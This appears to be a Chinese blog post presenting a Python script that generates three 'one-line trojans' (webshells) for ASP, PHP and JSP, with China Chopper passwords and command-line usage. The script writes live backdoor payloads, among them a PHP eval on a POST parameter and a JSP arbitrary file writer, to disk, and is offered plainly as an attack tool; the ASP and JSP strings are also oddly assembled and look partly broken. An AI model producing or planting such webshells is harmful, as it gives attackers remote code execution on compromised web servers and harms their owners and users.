• python写一个能生成三种一句话木马的脚本


    代码:

    import time
    import os
    from threading import Thread
    import optparse
    def aspyijuhua():
        try:
          juy=open('caidao.asp','w')
          asp="<%IfRequest(",'1',")<>""ThenExecuteGlobal(Request(",'1',"))%>"
          print '[+]Accelerated generation !'
          juy.writelines(asp)
          print '[+]ASP in word ,the Trojan horse is finished .'
          print '[+]Password:1'
        except:
            print '[-]Not generate !'
    
    def phpyijuhua():
        try:
            php=open('caidao.php','w')
            payload="<?php @eval($_POST['chopper']);?>"
            print '[+]Accelerated generation !'
            php.writelines(payload)
            print '[+]PHP in word ,the Trojan horse is finished .'
            print '[+]Password:chopper'
        except:
            print '[-]Not generate !'
    
    def jspyijuhua():
        try:
            jsp=open('caidao.jsp','w')
            payload="<%if(request.getParameter(",'f',")!=null)(newjava.io.FileOutputStream (application.getRealPath(",'\',")+request.getParameter(",'f',"))).write (request.getParameter(",'t',").getBytes());%> "
            print '[+]Accelerated generation !'
            jsp.writelines(payload)
            print '[+]JSP in word ,the Trojan horse is finished .'
        except:
            print '[-]Not generate !'
    def editon():
        print '-a ASP in word ,the Trojan horse is finished .'
        print '-p PHP in word ,the Trojan horse is finished .'
        print '-j JSP in word ,the Trojan horse is finished .'
        print 'Editon v.1.0'
        print 'What is your Haq me, Whatever you do love you'
    
    def main():
      parser=optparse.OptionParser()
      parser.add_option('-a',action='store_true',dest='asp',help='ASP in word ,the Trojan horse is finished .')
      parser.add_option('-p',action='store_true',dest='php',help='PHP in word ,the Trojan horse is finished .')
      parser.add_option('-j',action='store_true',dest='jsp',help='JSP in word ,the Trojan horse is finished .')
      parser.add_option('-v',action='store_true',dest='help',help='Editon')
      (options,args)=parser.parse_args()
      if options.asp:
        a=Thread(target=aspyijuhua,args=())
        a.start()
      if options.php:
        px=Thread(target=phpyijuhua,args=())
        px.start()
      if options.jsp:
        j=Thread(target=jspyijuhua,args=())
        j.start()
      if options.help:
        h=Thread(target=editon(),args=())
        h.start()
    
    if __name__ == '__main__':
        main()
    

      运行截图:

    命令:

    -h 帮助

    -a 生成asp一句话马

    -p 生成php一句话木马

    -j 生成jsp一句话木马

    -v 版本

  • 相关阅读:
    mogodb优化
    uuid
    ssl详解
    探究rh6上mysql5.6的主从、半同步、GTID多线程、SSL认证主从复制
    CMAKE MYSQL
    证书生成
    叶金荣主页
    mysqlslap
    sysbench 测试MYSQL
    mysql实验室
  • 原文地址:https://www.cnblogs.com/haq5201314/p/8427628.html
Copyright © 2020-2023  润新知